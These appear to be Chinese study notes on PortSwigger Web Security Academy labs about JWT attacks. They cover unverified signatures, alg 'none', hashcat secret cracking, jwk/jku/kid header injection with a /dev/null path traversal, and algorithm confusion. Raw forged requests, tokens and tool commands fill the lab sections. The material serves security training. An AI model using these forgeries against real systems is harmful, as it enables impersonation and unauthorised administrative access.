JWT令牌安全

接受任意签名
接受没有签名的令牌
暴力破解密钥
JWT标头参数注入(jwk jku kid)

利用有缺陷的 JWT 签名验证

根据设计,服务器通常不会存储有关它们发出的 JWT 的任何信息。相反,每个令牌都是一个完全独立的实体。这有几个优点,但也引入了一个基本问题 - 服务器实际上不知道令牌的原始内容,甚至不知道原始签名是什么。因此,如果服务器未正确验证签名,则无法阻止攻击者对令牌的其余部分进行任意更改。

例如,考虑包含以下声明的 JWT:

{
    "username": "carlos",
    "isAdmin": false
}

如果服务器基于 此 识别会话,则修改其值可能使攻击者能够模拟其他登录用户。同样,如果该值用于访问控制,则可以为权限提升提供简单的向量。username``isAdmin

在前几个实验中,您将看到一些示例,说明这些漏洞在实际应用程序中的外观。

Lab-接受任意签名

JWT 库通常提供一种验证令牌的方法,另一种只是解码令牌的方法。例如,Node.js 库 。jsonwebtoken,verify(),decode()

有时,开发人员会混淆这两种方法,并且只将传入令牌传递给该方法。这实际上意味着应用程序根本不验证签名。decode()

image-20230301093926844

jwt

image-20230301094112253

sub wiener => administrator

image-20230301094231431

image-20230301094846333

image-20230301094939324

选择删除carlos

image-20230301095311493

成功删除

image-20230301095336547

接受没有签名的令牌

JWT 标头包含一个参数。这会告诉服务器使用哪种算法对令牌进行签名,因此,在验证签名时需要使用哪种算法。alg

{
    "alg": "HS256",
    "typ": "JWT"
}

即使令牌未签名,有效负载部分仍必须以尾随点终止

Lab-通过有缺陷的签名验证绕过 JWT 身份验证-实验

本练习使用基于 JWT 的机制来处理会话。服务器未安全地配置为接受未签名的 JWT。

要解决本实验问题,请修改会话令牌以访问位于 的管理面板,然后删除用户。/admin``carlos

您可以使用以下凭据登录到自己的帐户:wiener:peter

登陆账户

image-20230316093730607

选择JWT的有效负载。在“检查器”面板中,将声明的值更改为 ,然后单击“应用更改”。sub administrator

image-20230316094529194

"alg": "none"
"sub": "administrator"

成功登陆administrator

image-20230316094703277

删除用户

GET /admin/delete?username=carlos HTTP/2
Host: 0ab400960472188dc20a3ece009200f0.web-security-academy.net
Cookie: session=eyJraWQiOiI1OTg1NmYxMi1kODQyLTRmMjctYmM0NS0yNzMxNTQ5ZTNkYmUiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2Nzg5MzQyMzB9.
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab400960472188dc20a3ece009200f0.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

成功删除

image-20230316095003653

暴力破解密钥

某些签名算法(如 HS256 (HMAC + SHA-256))使用任意的独立字符串作为密钥。就像密码一样,至关重要的是,攻击者不能轻易猜到或暴力破解此机密。否则,他们可能能够使用他们喜欢的任何标头和有效负载值创建 JWT,然后使用密钥使用有效签名对令牌重新签名。

在实现 JWT 应用程序时,开发人员有时会犯错误,例如忘记更改默认值或占位符机密。他们甚至可能会复制并粘贴他们在网上找到的代码片段,然后忘记更改作为示例提供的硬编码机密。在这种情况下,攻击者使用已知机密的词表暴力破解服务器的机密可能微不足道。

使用哈希猫暴力破解密钥

您只需要来自目标服务器的有效签名 JWT 和已知机密的词表。然后,您可以运行以下命令,将 JWT 和单词列表作为参数传入:

hashcat -a 0 -m 16500 <jwt> <wordlist>

Hashcat 使用单词列表中的每个密钥对来自 JWT 的标头和有效负载进行签名,然后将生成的签名与来自服务器的原始签名进行比较。如果任何签名匹配,hashcat 将按以下格式输出标识的密钥,以及各种其他详细信息:

<jwt>:<identified-secret>

如果多次运行该命令,则需要包含该标志以输出结果。--show

Lab-通过弱签名密钥绕过 JWT 身份验证

本练习使用基于 JWT 的机制来处理会话。它使用极其弱的密钥来签名和验证令牌。这可以很容易地使用常见机密的词表进行暴力破解。

要解决实验室问题,首先要暴力破解网站的密钥。获得此信息后,使用它对修改后的会话令牌进行签名,该令牌使您可以访问位于 的管理面板,然后删除用户。/admin``carlos

您可以使用以下凭据登录到自己的帐户:wiener:peter

hashcat -a 0 -m 16500 eyJraWQiOiIwZjY3MWE0Zi1mYzllLTQ0NjgtYWIxYS03MWNlMzZhMzFhMjIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3ODkzNTczOH0.1VH3B4HOG--I6T3wofa5C6HCHPt4Zh8zAfgUNJ9WInM jwt.secrets.list 

image-20230316110222872

secret1
生成伪造的签名密钥

将密钥base64编码

image-20230316110535179

新建签名

image-20230316110515449

修改和签署 JWT

image-20230316110421244

删除用户

GET /admin/delete?username=carlos HTTP/2
Host: 0a1e00bf04d580f0c309835f001d0010.web-security-academy.net
Cookie: session=eyJraWQiOiI3MDk5YTgyMC02YzU2LTRlMjgtYjViMy1lYzVhOTRjZWY0NjgiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2Nzg5MzgwNjV9.6IDyrXVYZO0yGw-1SHT28D_IO9wAzPuXEp1HeolqvII
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1e00bf04d580f0c309835f001d0010.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

删除成功

image-20230316110855935

JWT 标头参数注入

根据 JWS 规范,只有标头参数是必需的。然而,在实践中,JWT 标头(也称为 JOSE 标头)通常包含其他几个参数。攻击者对以下内容特别感兴趣。alg

  • jwk(JSON Web 密钥) - 提供表示密钥的嵌入式 JSON 对象。
  • jku(JSON Web 密钥集 URL) - 提供一个 URL,服务器可以从中获取一组包含正确密钥的密钥。
  • kid(密钥 ID) - 提供一个 ID,在有多个密钥可供选择的情况下,服务器可以使用该 ID 来标识正确的密钥。根据密钥的格式,这可能具有匹配的参数。

如您所见,这些用户可控制的参数都告诉收件人服务器在验证签名时使用哪个密钥。在本节中,你将了解如何利用这些漏洞注入使用您自己的任意密钥(而不是服务器的机密)签名的修改后的 JWT。

通过 jwk 参数注入自签名 JWT

JSON Web 签名 (JWS) 规范描述了一个可选的标头参数,服务器可以使用该参数以 JWK 格式将其公钥直接嵌入到令牌本身中。jwk

JWK(JSON Web Key)是一种标准化格式,用于将密钥表示为JSON对象。

您可以在以下 JWT 标头中看到此示例:

{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
}

理想情况下,服务器应仅使用有限的公钥白名单来验证 JWT 签名。但是,配置错误的服务器有时会使用参数中嵌入的任何键。jwk

可以通过使用自己的 RSA 私钥对修改后的 JWT 进行签名,然后在标头中嵌入匹配的公钥来利用此行为。jwk

尽管您可以在 Burp 中手动添加或修改参数,但JWT 编辑器扩展提供了一个有用的功能来帮助您测试此漏洞:jwk

加载扩展后,在 Burp 的主选项卡栏中,转到 JWT 编辑器键选项卡。

生成新的 RSA 密钥。

向打嗝中继器发送包含 JWT 的请求。

在消息编辑器中,切换到扩展生成的 JSON Web 令牌选项卡,并根据需要修改令牌的有效负载。

单击“攻击”,然后选择“嵌入式 JWK”。出现提示时,选择新生成的 RSA 密钥。

发送请求以测试服务器的响应方式。

您也可以通过自己添加标头来手动执行此攻击。但是,您可能还需要更新 JWT 的标头参数以匹配嵌入密钥的标头参数。扩展的内置攻击会为您处理此步骤。jwk kid kid

Lab-通过 JWK 标头注入绕过 JWT 身份验证

本练习使用基于 JWT 的机制来处理会话。服务器支持 JWT 标头中的参数。这有时用于将正确的验证密钥直接嵌入到令牌中。但是,它无法检查提供的密钥是否来自受信任的来源。jwk

要解决实验室问题,请修改并签署允许您访问 中的管理面板的 JWT,然后删除用户。/admin``carlos

您可以使用以下凭据登录到自己的帐户:wiener:peter

image-20230316150024188

  1. 单击“新建 RSA 密钥”。
  2. 在对话框中,单击生成以自动生成新的密钥对,然后单击确定以保存密钥。请注意,您无需选择密钥大小,因为稍后会自动更新。

image-20230316150113313

image-20230316150253797

{
    "kid": "0046ba18-47de-41fd-81d2-fcaefa251cc3",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "0046ba18-47de-41fd-81d2-fcaefa251cc3",
        "n": "s9B6IJp1zFRaXKPS3oaQDRPTQcYNXfwgVLDSdopbLSicRmSCEjm46VDhx7n8V80CzJZ1pAYrWZG7THc6qK_RbVFmssYXaM4Ea0-C2p-5VlbiA1MTlIOc5UVNMGeWtKTxUMSgipN0wpudMr9T89NYRnFpflJWfG7pjLoxFXyhIUEO5L3ubCYBpbHl22t-d99Y85H_gA0sISV71wTs-0zl31EsUxXmNzlnkfDWxdMj4iP-oCCVoPyg1VwGx-5m3I59HeiQTwaGc6UfP386PN2no_l9HP0hQqXwkxNZS8DFr2BpKZVsV4T46Aw1MublJxsfOBo8YdgYP_vfS3-0IOtNoQ"
    }
}

选择新建的 RSA 密钥

image-20230316150541725

成功访问/admin

image-20230316150617481

删除用户

image-20230316150651616

通过 jku 参数注入自签名 JWT

某些服务器允许您使用 (JWK Set URL) 标头参数引用包含密钥的 JWK 集,而不是直接使用 header 参数嵌入公钥。验证签名时,服务器从此 URL 获取相关密钥。jwk jku

JWK 集是一个 JSON 对象,其中包含表示不同键的 JWK 数组。您可以在下面看到一个示例。

{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
            "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
        },
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
            "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
        }
    ]
}

像这样的 JWK 集有时会通过标准终结点公开,例如 ./.well-known/jwks.json

Lab 通过 jku 标头注入绕过 JWT 身份验证

新建RSA KEY

image-20230316154508392

编辑漏洞利用服务器

image-20230316154602270

返回“JWT 编辑器密钥”选项卡,右键单击刚刚生成的密钥的条目,然后选择“将公钥复制为 JWK”。

image-20230316154751786

{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "95c251b9-7f60-429c-be4f-51335d7c995f",
    "n": "4vYxmEUBuJNd9HNy1_CuDRKY0AYdQYrXve_XsUB5bJ5bB6n8a8vReRH3hFn2Hvyd3XEU2RxSeXHbjtr-WlqhgSOSt9pOpOqEeMGKPg989hzR5vTs0yIhopucu62hea7tc0ZogTwnWEKBrXTcbdY3MkYim5U382LMmPtnEnbtfSo2_41sl09zpJlIy2wL8cgCrRARpB_ZW6i0plTdQ-feL3y6c6zik-OyN6U9IYtsRX4j8cBeJGueL6uwzfJc0Dg5DqsvAjpmBsIz3LU8KkqdmfCH6qfaRXOMjC2UcdJqVEDQDzC8TUav213AYJP6dUu9RsdJoL-AZg4gukCEngc92Q"
}
  1. 返回到 Burp 中继器中的请求,并切换到扩展生成的 JSON Web 令牌消息编辑器选项卡。GET /admin
  2. 在 JWT 的标头中,将参数的当前值替换为您上传到漏洞利用服务器的 JWK kid的值。
  3. 将新参数jku添加到 JWT 的标头。将其值设置为漏洞利用服务器上 JWK 集的 URL。
{
    "keys": [
           {
    "kty": "RSA",
    "e": "AQAB",
    "kid": "95c251b9-7f60-429c-be4f-51335d7c995f",
    "n": "4vYxmEUBuJNd9HNy1_CuDRKY0AYdQYrXve_XsUB5bJ5bB6n8a8vReRH3hFn2Hvyd3XEU2RxSeXHbjtr-WlqhgSOSt9pOpOqEeMGKPg989hzR5vTs0yIhopucu62hea7tc0ZogTwnWEKBrXTcbdY3MkYim5U382LMmPtnEnbtfSo2_41sl09zpJlIy2wL8cgCrRARpB_ZW6i0plTdQ-feL3y6c6zik-OyN6U9IYtsRX4j8cBeJGueL6uwzfJc0Dg5DqsvAjpmBsIz3LU8KkqdmfCH6qfaRXOMjC2UcdJqVEDQDzC8TUav213AYJP6dUu9RsdJoL-AZg4gukCEngc92Q"
}
    ]
}
  1. 在选项卡底部,单击“签名”,然后选择在上一节中生成的 RSA 密钥。
  2. 确保选中“不修改标头”选项,然后单击“确定”。修改后的令牌现在已使用正确的签名进行签名。

请求

image-20230316160657454

删除用户

image-20230316160744626

通过 kid 参数注入自签名 JWT

服务器可以使用多个加密密钥对不同类型的数据进行签名,而不仅仅是 JWT。因此,JWT 的标头可能包含 (密钥 ID) 参数,这有助于服务器在验证签名时确定要使用的密钥。kid

验证密钥通常存储为 JWK 集。在这种情况下,服务器可能只是使用与令牌相同的方式查找 JWK。但是,JWS 规范没有为此 ID 定义具体结构 - 它只是开发人员选择的任意字符串。例如,他们可能使用该参数指向数据库中的特定条目,甚至是文件的名称。kid``kid

如果此参数也容易受到目录遍历的攻击,则攻击者可能会强制服务器使用其文件系统中的任意文件作为验证密钥。

{
    "kid": "../../path/to/file",
    "typ": "JWT",
    "alg": "HS256",
    "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}

如果服务器还支持使用对称算法签名的 JWT,则尤其危险。在这种情况下,攻击者可能会将参数指向可预测的静态文件,然后使用与此文件内容匹配的机密对 JWT 进行签名。kid

理论上你可以对任何文件执行此操作,但最简单的方法之一是使用 ,这存在于大多数 Linux 系统上。由于这是一个空文件,读取它会返回一个空字符串。因此,使用空字符串对令牌进行签名将生成有效的签名。/dev/null

如果服务器将其验证密钥存储在数据库中,则标头参数也是 SQL 注入攻击的潜在向量。kid

Lab 通过 kid 标头路径遍历绕过 JWT 身份验证

本练习使用基于 JWT 的机制来处理会话。为了验证签名,服务器使用 JWT标头中的参数从其文件系统中获取相关密钥。kid

要解决实验室问题,请伪造一个 JWT,使您可以访问位于 的管理面板,然后删除用户。/admin``carlos

您可以使用以下凭据登录到自己的帐户:wiener:peter

生成合适的签名密钥
  1. 在 Burp 中,从 BApp 存储加载 JWT 编辑器扩展。

  2. 在实验室中,登录到您自己的帐户并将登录后请求发送到 Burp 中继器。GET /my-account

  3. 在“打嗝转发器”中,将路径更改为并发送请求。请注意,管理面板仅在以用户身份登录时才能访问。/admin``administrator

  4. 转到 Burp 主标签栏中的 JWT 编辑器键选项卡。

  5. 单击“新建对称密钥”。

  6. 在对话框中,单击“生成”以生成 JWK 格式的新密钥。请注意,您无需选择密钥大小,因为稍后会自动更新。

    image-20230317094248114

  7. 将属性的生成值替换为 Base64 编码的空字节 ()。请注意,这只是一种解决方法,因为 JWT 编辑器扩展不允许使用空字符串对令牌进行签名。k``AA==

    image-20230317094343801

  8. 单击“确定”保存密钥。

修改并签署 JWT
  1. 返回到 Burp 中继器中的请求,并切换到扩展生成的 JSON Web 令牌消息编辑器选项卡。GET /admin

  2. 在 JWT 的标头中,将参数的值更改为指向文件的路径遍历序列:kid``/dev/null

    ../../../../../../../dev/null
    
  3. 在 JWT 有效负载中,将声明的值更改为 。sub``administrator

  4. 在选项卡底部,单击“签名”,然后选择在上一节中生成的对称密钥。

  5. 确保选中“不修改标头”选项,然后单击“确定”。修改后的令牌现在使用空字节作为密钥进行签名。

    image-20230317094600898

  6. 发送请求并观察您是否已成功访问管理面板。

    image-20230317094632852

  7. 在响应中,找到用于删除卡洛斯 () 的 URL。将请求发送到此终结点以解决实验室问题。/admin/delete?username=carlos

    image-20230317094721042

其他有趣的 JWT 标头参数

攻击者也可能对以下标头参数感兴趣:

cty(内容类型) - 有时用于为 JWT 有效负载中的内容声明媒体类型。这通常会从标头中省略,但基础解析库可能仍然支持它。如果已找到绕过签名验证的方法,则可以尝试注入标头以将内容类型更改为 或 ,这可能会为 XXE 和反序列化攻击启用新的向量。ctytext/xml application/x-java-serialized-object

x5c(X.509 证书链) - 有时用于传递用于对 JWT 进行数字签名的密钥的 X.509 公钥证书或证书链。此标头参数可用于注入自签名证书,类似于上面讨论的 jwk 标头注入攻击。由于 X.509 格式及其扩展的复杂性,分析这些证书也会引入漏洞。这些攻击的详细信息超出了这些材料的范围,但有关更多详细信息,请查看CVE-2017-2800和CVE-2018-2633。

JWT算法混淆

即使服务器使用您无法暴力破解的强大机密,您仍然可以通过使用开发人员没有预料到的算法对令牌进行签名来伪造有效的 JWT。这称为算法混淆攻击。

算法混淆攻击(也称为密钥混淆攻击)发生在攻击者能够强制服务器使用与网站开发人员预期不同的算法验证 JSON Web 令牌 (JWT) 的签名时。如果这种情况处理不当,攻击者可能会伪造包含任意值的有效 JWT,而无需知道服务器的秘密签名密钥。

对称与非对称算法

可以使用一系列不同的算法对 JWT 进行签名。其中一些,例如HS256(HMAC + SHA-256)使用“对称”密钥。这意味着服务器使用单个密钥对令牌进行签名和验证。显然,这需要保密,就像密码一样。

使用对称算法对 JWT 进行签名和验证

其他算法,如RS256(RSA + SHA-256)使用“非对称”密钥对。这包括服务器用于对令牌进行签名的私钥和可用于验证签名的数学相关公钥。

使用非对称算法对 JWT 进行签名和验证

顾名思义,私钥必须保密,但公钥通常是共享的,以便任何人都可以验证服务器颁发的令牌的签名。

算法混淆漏洞通常是由于 JWT 库的实现存在缺陷而引起的。尽管实际验证过程因所使用的算法而异,但许多库都提供了一种与算法无关的方法来验证签名。这些方法依赖于令牌标头中的参数来确定它们应执行的验证类型。alg

以下伪代码显示了此泛型方法的声明在 JWT 库中的外观的简化示例:verify()

function verify(token, secretOrPublicKey){
    algorithm = token.getAlgHeader();
    if(algorithm == "RS256"){
        // Use the provided key as an RSA public key
    } else if (algorithm == "HS256"){
        // Use the provided key as an HMAC secret key
    }
}

当随后使用此方法的网站开发人员假设它将专门处理使用 RS256 等非对称算法签名的 JWT 时,就会出现问题。由于这个有缺陷的假设,他们可能总是将固定的公钥传递给方法,如下所示:

publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);

在这种情况下,如果服务器收到使用 HS256 等对称算法签名的令牌,则库的通用方法会将公钥视为 HMAC 机密。这意味着攻击者可以使用 HS256 和公钥对令牌进行签名,服务器将使用相同的公钥来验证签名。verify()

用于对令牌进行签名的公钥必须与存储在服务器上的公钥完全相同。这包括使用相同的格式(如 X.509 PEM)并保留任何非打印字符(如换行符)。实际上,您可能需要尝试不同的格式才能使此攻击起作用。

我使用这个库只想用来验证非对称算法签名的JWT,但是这个库提供了对称算法签名校验的功能

执行算法混淆攻击

获取服务器的公钥

将公钥转换为合适的格式

创建恶意 JWT,其有效负载已修改且标头设置为 .alg HS256

使用 HS256 对令牌进行签名,使用公钥作为密钥。

步骤 1 - 获取服务器的公钥
例如,服务器有时会通过映射到 或 的标准端点将其公钥公开为 JSON Web 密钥 (JWK) 对象。这些可以存储在称为 的 JWK 数组中。这称为 JWK 集。

/jwks.json
/.well-known/jwks.json
keys

{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
            "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
        },
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
            "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
        }
    ]
}

步骤2 - 将公钥转换为合适的格式
尽管服务器可能会以 JWK 格式公开其公钥,但在验证令牌的签名时,它将使用其本地文件系统或数据库中自己的密钥副本。这可能以不同的格式存储。

为了使攻击起作用,用于对 JWT 进行签名的密钥版本必须与服务器的本地副本相同。除了采用相同的格式外,每个字节都必须匹配,包括任何非打印字符。

出于此示例的目的,假设我们需要 X.509 PEM 格式的密钥。您可以使用 Burp 中的 JWT 编辑器扩展将 JWK 转换为 PEM,如下所示:

  1. 加载扩展后,在 Burp 的主选项卡栏中,转到 JWT 编辑器键选项卡。
  2. 单击“新建 RSA 密钥”。在对话框中,粘贴之前获取的 JWK。
  3. 选择 PEM 单选按钮并复制生成的 PEM 密钥。
  4. 转到“解码器”选项卡,然后对 PEM 进行 Base64 编码。
  5. 返回到 JWT 编辑器密钥选项卡,然后单击新建对称密钥
  6. 在对话框中,单击“生成”以生成 JWK 格式的新密钥。
  7. 将参数的生成值替换为刚刚复制的 Base64 编码的 PEM 密钥。k
  8. 保存密钥。

步骤 3 - 修改您的 JWT
拥有合适格式的公钥后,您可以根据需要修改 JWT。只需确保标头设置为 alg HS256

步骤 4 - 使用公钥对 JWT 进行签名
使用 HS256 算法对令牌进行签名,并将 RSA 公钥作为机密。

lab-通过算法混淆绕过 JWT 身份验证

服务器将其公钥存储为 X.509 PEM 文件

第 1 部分 - 获取服务器的公钥
  1. 在 Burp 中,从 BApp 存储加载 JWT编辑器扩展。

  2. 在实验室中,登录到您自己的帐户并将登录后请求发送到 Burp 中继器。GET /my-account

  3. 在“打嗝转发器”中,将路径更改为并发送请求。请注意,管理面板仅在以用户身份登录时才能访问。/admin``administrator

  4. 在浏览器中,转到标准终结点并观察服务器公开包含单个公钥的 JWK 集。/jwks.json

  5. 从数组内部复制 JWK 对象。确保不会意外地从周围的数组中复制任何字符。keys

image-20230317102908582

第 2 部分 - 生成恶意签名密钥
  1. 在 Burp 中,转到 Burp 主选项卡栏中的 JWT 编辑器键选项卡。
  2. 单击“新建 RSA 密钥”。
  3. 在对话框中,确保选择了“JWK”选项,然后粘贴刚刚复制的 JWK。单击“确定”保存密钥。
  4. 右键单击刚创建的密钥的条目,然后选择将公有密钥复制为 PEM
  5. 使用“解码器”选项卡对此 PEM 密钥进行 Base64 编码,然后复制生成的字符串。
  6. 返回 Burp 主标签栏中的 JWT 编辑器键选项卡。
  7. 单击“新建对称密钥”。在对话框中,单击“生成”以生成 JWK 格式的新密钥。请注意,您无需选择密钥大小,因为稍后会自动更新。
  8. 将 k 属性的生成值替换为刚创建的 Base64 编码的 PEM。
  9. 保存密钥。

image-20230317103114862

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAhGx9kf4La4HvyJ7rkZ3K
5rIOf87kSI3bRzxoIea6Tt5bHegtQsd68+6EyhzygfN+y9VrJmXr7eT16T2r768/
7f++MX9lEegMvcS39C7FgUEBJiGlreNhJpvvo6WDULA7X11DxkOqNLzeQ2enYwMf
b3N45gOwaer6BpBM+Dl8NPb8syN3sUoKOF5HbXtqsbU2WEgA4t4RM3F35RuZrvR1
7mpmFx4cmFPj6NLTOafQvtcO06GLIbyK/mhIHpaOgzpftxqSdConWocEozvVj2eR
wAUQr07jk6lEwIlY2WM53lWac2C+7I8pc0H6VU4I2EOoEjhq+3ll14ITk5hWuRhf
LQIDAQAB
-----END PUBLIC KEY-----

base64,没有空行会利用失败

image-20230317115127836

第 3 部分 - 修改令牌并对其进行签名
  1. 返回到 Burp 转发器中的请求,并切换到扩展生成的 JSON Web 令牌选项卡。GET /admin
  2. 在 JWT 的标头中,将参数的值更改为 。alg``HS256
  3. 在有效负载中,将声明的值更改为 。sub``administrator
  4. 在选项卡底部,单击“签名”,然后选择在上一节中生成的对称密钥。
  5. 确保选中“不修改标头”选项,然后单击“确定”。修改后的令牌现在使用服务器的公钥作为密钥进行签名。

image-20230317115235626

  1. 发送请求并观察您是否已成功访问管理面板。
  2. 在响应中,找到用于删除卡洛斯 () 的 URL。将请求发送到此终结点以解决实验室问题。/admin/delete?username=carlos

image-20230317115208491

删除用户

image-20230317115315521

从现有令牌派生公钥

在公钥不容易获得的情况下,您仍然可以通过从一对现有 JWT 派生密钥来测试算法混淆。

使用诸如 .您可以在 rsa_sign2n GitHub [https://github.com/silentsignal/rsa_sign2n]存储库中找到此脚本以及其他几个有用的脚本。jwt_forgery.py

这将使用您提供的 JWT 来计算的一个或多个潜在值。不要太担心这意味着什么 - 您需要知道的是,其中只有一个与服务器密钥使用的值匹配。对于每个潜在值,我们的脚本输出:nn

采用 X.64 和 PKCS509 格式的 Base1 编码的 PEM 密钥。

使用这些密钥中的每一个签名的伪造 JWT。

若要标识正确的密钥,请使用 Burp 中继器发送包含每个伪造 JWT 的请求。服务器将只接受其中之一。然后,您可以使用匹配密钥来构造算法混淆攻击。

lab 通过算法混淆绕过 JWT 身份验证,没有公开密钥

本练习使用基于 JWT 的机制来处理会话。它使用强大的 RSA 密钥对来签名和验证令牌。但是,由于实现缺陷,该机制容易受到算法混淆攻击。

要解决实验室问题,请先获取服务器的公钥。使用此密钥对修改后的会话令牌进行签名,该令牌允许您访问位于 的管理面板,然后删除用户。/admin``carlos

您可以使用以下凭据登录到自己的帐户:wiener:peter

第 1 部分 - 获取服务器生成的两个 JWT

在 Burp 中,从 BApp 存储加载 JWT 编辑器扩展。

在实验室中,登录到您自己的帐户并将登录后请求发送到 Burp 中继器。GET /my-account

在“打嗝转发器”中,将路径更改为并发送请求。请注意,管理面板仅在以用户身份登录时才能访问。/adminadministrator

复制您的 JWT 会话 cookie 并将其保存在某个地方供以后使用。

注销并重新登录。

复制新的 JWT 会话 cookie 并保存此 cookie。现在,服务器生成了两个有效的 JWT。

第 2 部分 - 暴力破解服务器的公钥

在终端中,运行以下命令,将两个 JWT 作为参数传入。

docker run --rm -it portswigger/sig2n

请注意,首次运行此命令时,从 Docker Hub 拉取映像可能需要几分钟时间。

请注意,输出包含一个或多个计算值 。其中每个在数学上都是可能的,但只有一个与服务器使用的值匹配。在每种情况下,输出还提供以下内容:n

X.64 和 PKCS509 格式的 Base1 编码公钥。

image-20230331104744879

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUJTV0FHSzVEUDZxTkw2Yjhob1BGagpKREZCQmgvZGptWUZLY3Z5UUVUcTBWdnc1ZE9ncDE5MTJRTERiRGR3MWhVckJacnRsWUdXNk11ZnA5V3UxRm1ICmliMGwzaTdwZHRtM3MzRGpQcGd0emIvYnRvVGQ5dmx4dnBnelhkcC8ySEVSVC9UQ2tZRzh1ZDVzeXJhVXc4NngKU3VXNURSMU1RQkMycEJGanhhQjVEdDFPbjdFY3ZzTDNiNjNDbEtuampEd3pya0FySk9uYVJRZlNxZW5rY01nSwo4d2hienlwQjJIS0hiZHZpRFQ2MEFiY2xBVE9kTVZZRVB0ek91WWNzSlZuUDJRamhrVElGMU9PTEVrb3JGL0NoCi9DL280c3E2QTlsZXpEeHRTcE1JZWdGdGhhNGFvU1ZqRWsyNUE3TTN1WUplSzY3UHlMMk5Cd3ZmUzVZU0hDUnYKemdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiIyMGJlZjkxMC00MTdjLTRiNGQtYmU2ZC0zNWI1YmNhNmE3ZTYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjgwMzE3MjQxfQ.MRrwk_-yijeulMLBdH86RdjGS2J0c1NvnWQByla0KTs
